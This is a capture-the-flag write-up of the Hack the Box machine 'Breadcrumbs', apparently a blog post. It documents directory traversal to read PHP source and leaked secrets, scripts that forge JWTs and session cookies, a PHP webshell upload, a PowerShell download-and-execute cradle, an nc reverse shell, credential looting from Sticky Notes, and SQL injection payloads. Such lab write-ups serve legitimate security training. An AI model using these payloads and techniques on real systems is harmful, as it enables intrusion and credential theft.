HTB: Breadcrumbs


This machine is Breadcrumbs from Hack the Box


Nmap was running way too slowly, so I ran masscan instead

kali@kali:~$ sudo masscan -p0-65335,U:0-65335 --rate=1000 -i tun0  

Starting masscan 1.0.5 ( at 2021-02-20 22:08:06 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [130672 ports/host]
Discovered open port 443/tcp on                                   
Discovered open port 49666/tcp on                                 
Discovered open port 139/tcp on                                   
Discovered open port 49669/tcp on                                 
Discovered open port 49665/tcp on                                 
Discovered open port 49667/tcp on                                 
Discovered open port 49668/tcp on                                 
Discovered open port 22/tcp on                                    
Discovered open port 3306/tcp on                                  
Discovered open port 445/tcp on                                   
Discovered open port 7680/tcp on                                  
Discovered open port 5040/tcp on                                  
Discovered open port 135/tcp on                                   
Discovered open port 49664/tcp on                                 
Discovered open port 80/tcp on

Then nmap on those specific ports

kali@kali:~$ nmap -sV -p443,49666,139,49669,49665,49667,49668,22,3306,445,7680,5040,135,49664,80
Starting Nmap 7.91 ( ) at 2021-02-20 22:15 GMT
Nmap scan report for
Host is up (0.018s latency).

22/tcp    open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
80/tcp    open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
445/tcp   open  microsoft-ds?
3306/tcp  open  mysql?
5040/tcp  open  unknown
7680/tcp  open  pando-pub?
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 165.11 seconds

User 1

I started by browsing to

Screenshot 1

Clicking "Check Books" took me to

Screenshot 3

I tried searching a title of a and an author of a

Screenshot 4

I clicked on "Book"

Screenshot 5

Then clicked "Yes"

Screenshot 6

This didn't seem very promising, so I went back to the search. Looking at the request in Burp

Screenshot 7

I tried changing the method parameter to 1

Screenshot 8

This gave me a full file path of C:\Users\www-data\Desktop\xampp\htdocs\includes\bookController.php So I tried the same process of intercepting requests for the book request

Screenshot 9

I can see this is using actual files, so I tried it again but with a directory traversal to do local file read (LFR). As the previous error was in the PHP file_get_contents function, it wouldn't be full LFI

Screenshot 10

This worked and let me read the file, so I tried making the page read its own source code

Screenshot 11

The potentially useful line was

require '..\/db\/db.php'

So I read the db.php

Screenshot 12

"<?php\r\n\r\n$host=\"localhost\";\r\n$port=3306;\r\n$user=\"bread\";\r\n$password=\"jUli901\";\r\n$dbname=\"bread\";\r\n\r\n$con = new mysqli($host, $user, $password, $dbname, $port) or die ('Could not connect to the database server' . mysqli_connect_error());\r\n?>\r\n"

The database credentials were

bread : jUli901

I tried these against the expose MySQL server but the user was not allowed to login remotely. So I began further enumeration on the web server using dirbuster

Screenshot 13

The portal endpoint redirected to /portal/login.php

Screenshot 14

The helper link took me to /portal/php/admins.php

Screenshot 15

So John, Olivia and Paul are listed as currently being active. Next I started using the LFR to read source code, first, the login page

Screenshot 16

It makes use of authController.php so I read that too

Screenshot 17

require 'db\/db.php';
require \"cookie.php\";
require \"vendor\/autoload.php\";
use \\Firebase\\JWT\\JWT;

$errors = array();
$username = \"\";
$userdata = array();
$valid = false;

\/\/if user clicks on login
    if($_POST['method'] == 0){
        $username = $_POST['username'];
        $password = $_POST['password'];

        $query = \"SELECT username,position FROM users WHERE username=? LIMIT 1\";
        $stmt = $con->prepare($query);
        $stmt->bind_param('s', $username);
        $result = $stmt->get_result();
        while ($row = $result->fetch_array(MYSQLI_ASSOC)){
            array_push($userdata, $row);
        $userCount = $result->num_rows;

        if($userCount > 0){
            $password = sha1($password);
            $passwordQuery = \"SELECT * FROM users WHERE password=? AND username=? LIMIT 1\";
            $stmt = $con->prepare($passwordQuery);
            $stmt->bind_param('ss', $password, $username);
            $result = $stmt->get_result();

            if($result->num_rows > 0){
                $valid = true;


            $secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
            $data = array();

            $payload = array(
                \"data\" => array(
                    \"username\" => $username

            $jwt = JWT::encode($payload, $secret_key, 'HS256');

            setcookie(\"token\", $jwt, time() + (86400 * 30), \"\/\");

            $_SESSION['username'] = $username;
            $_SESSION['loggedIn'] = true;
            if($userdata[0]['position'] == \"\"){
                $_SESSION['role'] = \"Awaiting approval\";
                $_SESSION['role'] = $userdata[0]['position'];

            header(\"Location: \/portal\");

            $_SESSION['loggedIn'] = false;
            $errors['valid'] = \"Username or Password incorrect\";

    elseif($_POST['method'] == 1){

            $errors['username'] = \"Username Required\";
        if(strlen($username) < 4){
            $errors['username'] = \"Username must be at least 4 characters long\";
            $errors['password'] = \"Password Required\"; 
        if($password !== $passwordConf){
            $errors['passwordConf'] = \"Passwords don't match!\"; 

        $userQuery = \"SELECT * FROM users WHERE username=? LIMIT 1\";
        $stmt = $con->prepare($userQuery);
        $stmt ->bind_param('s',$username);
        $result = $stmt->get_result();
        $userCount = $result->num_rows;

        if($userCount > 0){
            $errors['username'] = \"Username already exists\";

        if(count($errors) === 0){
            $password = sha1($password);
            $sql = \"INSERT INTO users(username, password, age, position) VALUES (?,?, 0, '')\";
            $stmt = $con->prepare($sql);
            $stmt ->bind_param('ss', $username, $password);

            if ($stmt->execute()){
                $user_id = $con->insert_id;
                header('Location: login.php');
                $_SESSION['loggedIn'] = false;
                $errors['db_error']=\"Database error: failed to register\";

So JWTs are in use, with the following format

data {
    username: "<username>"

They use HS256 and the following secret


So I should be able to forge these now. They also use session cookies, the details seem to be in cookie.php so I read that

Screenshot 18

 * @param string $username  Username requesting session cookie
 * @return string $session_cookie Returns the generated cookie
 * @devteam
 * Please DO NOT use default PHPSESSID; our security team says they are predictable.
 * *\/
function makesession($username){
    $max = strlen($username) - 1;
    $seed = rand(0, $max);
    $key = \"s4lTy_stR1nG_\".$username[$seed].\"(!528.\/9890\";
    $session_cookie = $username.md5($key);

    return $session_cookie;

So the session cookie is the username concatenated with a key. The key is generated as the MD5 hash of a string. This string is s4lTy_stR1nG_ concatenated with a random character of the username, and (!528./9890. The random part of this is likely to be a small keyspace, as usernames are likely not very long. So I wrote a php script to generate these possible cookies. Assuming I knew the right username

$username = $argv[1];
$max = strlen($username) - 1;
for($seed = 0; $seed <= $max; $seed++) {
    $key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
    $session_cookie = $username.md5($key);
    print($session_cookie . "\n");

I would also need to forge a JWT for the user if I could get a valid session token for them, so I wrote a Python script to generate the JWT

import jwt
import sys

USERNAME = sys.argv[1]
SECRET = "6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e";

build = {
    "data": {
        "username": USERNAME

encoded_jwt = jwt.encode(build, SECRET, algorithm="HS256")


I needed a valid username, looking back at a dirbust I ran against /portal.php I found files.php

Screenshot 19

So I read that file

Screenshot 20

The PHP part was

<?php session_start();
$LOGGED_IN = false;
if($_SESSION['username'] !== "paul"){
    header("Location: ..\/index.php");
    $LOGGED_IN = true;
    require '..\/db\/db.php';
    header("Location: ..\/auth\/login.php");

This gave me a username of "paul" which was also one of the active "helpers" from before

So I generated a JWT for paul

kali@kali:~$ python3 paul

Then all possible session tokens

kali@kali:~$ php -f sessions.php paul

I began testing the cookies

Screenshot 21

When I tested


Screenshot 22

It worked, so I updated my cookie in my browser with a cookie modifier browser extension and browsed to /portal/php/files.php

Screenshot 23

So it looks like I can upload files. In the page source code I found

Screenshot 25

So I looked at the source of this JS

Screenshot 26

So this is sending files to fileControlled.php, I read that

$ret = "";
require "../vendor/autoload.php";
use \Firebase\JWT\JWT;

function validate(){
    $ret = false;
    $jwt = $_COOKIE['token'];

    $secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
    $ret = JWT::decode($jwt, $secret_key, array('HS256'));   
    return $ret;

    $admins = array("paul");
    $user = validate()->data->username;
    if(in_array($user, $admins) && $_SESSION['username'] == "paul"){
        error_reporting(E_ALL & ~E_NOTICE);
        $uploads_dir = '../uploads';
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_POST['task'];

        if(move_uploaded_file($tmp_name, "$uploads_dir/$name")){
            $ret = "Success. Have a great weekend!";
            $ret = "Missing file or title :(" ;
        $ret = "Insufficient privileges. Contact admin or developer to upload code. Note: If you recently registered, please wait for one of our admins to approve it.";

    echo $ret;

So it checks we have a valid session, our JWT is for an admin, and our username in the session is paul. We already meet these criteria. I tried uploading php a file with the following content

<?php system($_GET['c']) ?>

Screenshot 28

It didn't quite work how I expected, so I tried changing the to jirbj.php

Screenshot 29

Which resulted in

Screenshot 30

It looks like the temp file got deleted, maybe AV didn't like it? So I tried a phpinfo payload instead

Screenshot 34

And browsed to

Screenshot 35

That worked, so I tried a modified version of my PHP shell

<?php $c = $_GET['jirbj']; system($c) ?>

Screenshot 36

And browsed to

Screenshot 37

This version worked, so I set a listener

kali@kali:~$ nc -nlvp 443

I then exposed a PowerShell reverse shell on a Python web server and executed the following command with my web shell to download and execute it

powershell -c Invoke-Expression(Invoke-WebRequest -Uri -UseBasicParsing)

But now shell arrived, it likely got blocked by AMSI, I instead exposed nc64.exe on my web server and used the following command to download it

powershell -c Invoke-WebRequest -Uri -UseBasicParsing -OutFile .\a.exe

Then a second request to execute it

.\a.exe 443 -e powershell.exe 2>&1

back in my listener

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell

PS C:\Users\www-data\Desktop\xampp\htdocs\portal\uploads>

But there was no user flag for me, so I still had some work to do

User 2

This bit was much easier than the initial access, digging into the files on the server, I found

PS C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData> Get-ChildItem

    Directory: C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData

Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-a----        11/28/2020   1:48 AM            170 alex.disabled                                                        
-a----        11/28/2020   1:48 AM            170 emma.disabled                                                        
-a----        11/28/2020   1:48 AM            170 jack.disabled                                                        
-a----        11/28/2020   1:48 AM            170 john.disabled                                                        
-a----         1/17/2021   3:11 PM            192 juliette.json                                                        
-a----        11/28/2020   1:48 AM            170 lucas.disabled                                                       
-a----        11/28/2020   1:48 AM            170 olivia.disabled                                                      
-a----        11/28/2020   1:48 AM            170 paul.disabled                                                        
-a----        11/28/2020   1:48 AM            170 sirine.disabled                                                      
-a----        11/28/2020   1:48 AM            170 william.disabled

The one for juliette contained

PS C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData> Get-Content juliette.json
Get-Content juliette.json
        "pizza" : "margherita",
        "size" : "large",
        "drink" : "water",
        "card" : "VISA",
        "PIN" : "9890",
        "alternate" : {
                "username" : "juliette",
                "password" : "jUli901./())!",

So I tried these creds on SSH

ssh [email protected]
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.

juliette@BREADCRUMBS C:\Users\juliette>
# dropped into powershell
# juliette@BREADCRUMBS C:\Users\juliette>powershell                    
Windows PowerShell                                          
Copyright (C) Microsoft Corporation. All rights reserved.   

Try the new cross-platform PowerShell

PS C:\Users\juliette>

And this time there was a flag

PS C:\Users\juliette\Desktop> Get-ChildItem

    Directory: C:\Users\juliette\Desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         12/9/2020   6:27 AM            753 todo.html
-ar---         2/20/2021   4:20 PM             34 user.txt

PS C:\Users\juliette\Desktop> Get-Content .\user.txt

User 3

Now I needed to get SYSTEM or Admin level access. There was a todo document on the desktop, so I took a look in it

PS C:\Users\juliette\Desktop> Get-Content .\todo.html
border:1px solid orange;
            <td>Configure firewall for port 22 and 445</td>
            <td>Not started</td>
            <td>Unauthorized access might be possible</td>
            <td>Migrate passwords from the Microsoft Store Sticky Notes application to our new password m
            <td>In progress</td>
            <td>It stores passwords in plain text</td>
            <td>Add new features to password manager</td>
            <td>Not started</td>
            <td>To get promoted, hopefully lol</td>


So it implies there are passwords in plaintext in sticky notes, and I might be able to access SMB shares

kali@kali:~$ smbmap -H -u juliette -p 'jUli901./())!'
[+] IP:        Name: breadcrumbs.htb                                   
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        Anouncements                                            READ ONLY
        C$                                                      NO ACCESS       Default share
        Development                                             NO ACCESS
        IPC$                                                    READ ONLY       Remote IPC

So I accessed the Anouncements share

mbclient // -U juliette                                
Enter WORKGROUP\juliette's password: 
Try "help" to get a list of possible commands.
smb: \> 
# smb: \> dir
  .                                   D        0  Sat Jan 16 00:03:48 2021
  ..                                  D        0  Sat Jan 16 00:03:48 2021
  main.txt                            A      306  Sat Jan 16 00:06:10 2021

                5082961 blocks of size 4096. 1543384 blocks available

Grabbed and read the file

smb: \> get main.txt 
getting file \main.txt of size 306 as main.txt (4.3 KiloBytes/sec) (average 4.3 KiloBytes/sec)

kali@kali:~$ cat main.txt 
Rabbit Stew Celebration
To celebrate the new library startup, a lunch will be held this upcoming Friday at 1 PM.
Location: Room 201 block B
Food: Rabbit Stew

Hole Construction
Please DO NOT park behind the contruction workers fixing the hole behind block A. 
Multiple complaints have been made.

This seemed unhelpful, but maybe i'll need it later? Instead I started looking at the sticky notes

PS C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState> Get-ChildItem

    Directory: C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         1/15/2021   4:10 PM          20480
-a----        11/29/2020   3:10 AM           4096 plum.sqlite
-a----         1/15/2021   4:10 PM          32768 plum.sqlite-shm
-a----         1/15/2021   4:10 PM         329632 plum.sqlite-wal

The sqlite file is most likely to have what I want

PS C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState> Get-Content plum.sqlite-wal
☺♫¹♫¹☺Ã◄‚#    UU♠♠\id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())!
\id=fc0d8d70-055d-4870-a5de-d76943a‚D☺¶ƒ◄-     UU♠♠\id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())!
\id=fc0d8d70-055d-4870-a5de-d76943a68ea2 development: fN3)sN5Ee@g
\id=48924119-7212-4b01-9e0f-ae6d678d49b2 administrator: [MOVED]ManagedPosition=Yellow0c32c3d8-7c60-48ae-939e-798df198cfe78e814e57-

So the password for Administrator has been moved, but the one for development is there, so I tried it on ssh

kali@kali:~$ ssh [email protected]
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.

development@BREADCRUMBS C:\Users\development>


I re-ran the SMB enum with these creds

kali@kali:~$ smbmap -H -u development -p 'fN3)sN5Ee@g'
[+] IP:        Name: breadcrumbs.htb                                   
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        Anouncements                                            READ ONLY
        C$                                                      NO ACCESS       Default share
        Development                                             READ ONLY
        IPC$                                                    READ ONLY       Remote IPC

I can access the Development share now

smbclient // -U development
Enter WORKGROUP\development's password: 
Try "help" to get a list of possible commands.
smb: \> 
# smb: \> dir
  .                                   D        0  Sat Jan 16 00:03:49 2021
  ..                                  D        0  Sat Jan 16 00:03:49 2021
  Krypter_Linux                       A    18312  Sun Nov 29 11:11:56 2020

                5082961 blocks of size 4096. 1541527 blocks available

So I grabbed this file, it may be that password manager referenced earlier

smb: \> get Krypter_Linux 
getting file \Krypter_Linux of size 18312 as Krypter_Linux (60.4 KiloBytes/sec) (average 60.4 KiloBytes/sec)

kali@kali:~$ file Krypter_Linux 
Krypter_Linux: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, BuildID[sha1]=ab1fa8d6929805501e1793c8b4ddec5c127c6a12, for GNU/Linux 3.2.0, not stripped

So it is a linux executable, not stripped luckily, so I fired up Ghidra

Screenshot 38

The important bit seemed to be


So I checked ports on the machine

PS C:\Development> netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP              LISTENING       2880

1234 was open, so it was likely the password manager was there. I made the request myself

PS C:\Development> Invoke-WebRequest -Uri -Body 'method=select&username=administrator&table=passwords' -Method 'POST' -UseBasicParsing -UseBasicParsing                                           

StatusCode        : 200
StatusDescription : OK
Content           : selectarray(1) {
                      array(1) {
                        string(16) "k19D193j.<19391("

RawContent        : HTTP/1.1 200 OK
                    Content-Length: 96
                    Content-Type: text/html; charset=UTF-8
                    Date: Sun, 21 Feb 2021 13:08:39 GMT
                    Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
                    X-Powered-By: PHP/8.0.1

Forms             :
Headers           : {[Content-Length, 96], [Content-Type, text/html; charset=UTF-8], [Date, Sun, 21 Feb  
                    2021 13:08:39 GMT], [Server, Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1]...}     
Images            : {}
InputFields       : {}
Links             : {}
ParsedHtml        :
RawContentLength  : 96

This got me an AES key, but nothing to decrypt. A bit of digging later and I found this was vulnerable to SQL injection

PS C:\Development> (Invoke-WebRequest -Uri -Body "method=select&username=a' or '1'='1&table=passwords" -Method 'POST' -UseBasicParsing).content                                   
selectarray(1) {
  array(1) {
    string(16) "k19D193j.<19391("

PS C:\Development> (Invoke-WebRequest -Uri -Body "method=select&username=a' union select 1 where '1'='1&table=passwords" -Method 'POST' -UseBasicParsing).content              
selectarray(1) {
  array(1) {
    string(1) "1"

So I tried to get the password itself

PS C:\Development> (Invoke-WebRequest -Uri -Body "method=select&username=a' union select password from passwords where '1'='1&table=passwords" -Method 'POST' -UseBasicParsing)
selectarray(1) {
  array(1) {
    string(44) "H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw="

I then tried to find the IV for the AES, as I already had the key. For the life of me I couldn't find one. But eventually I tried a null IV

Screenshot 40

This gave me a password of


Which I tried on ssh

kali@kali:~$ ssh [email protected]
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.

administrator@BREADCRUMBS C:\Users\Administrator>

And grab the flag

PS C:\Users\Administrator\Desktop> Get-ChildItem

    Directory: C:\Users\Administrator\Desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         1/15/2021   4:03 PM                passwordManager
-ar---         2/21/2021   4:48 AM             34 root.txt

PS C:\Users\Administrator\Desktop> Get-Content .\root.txt

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.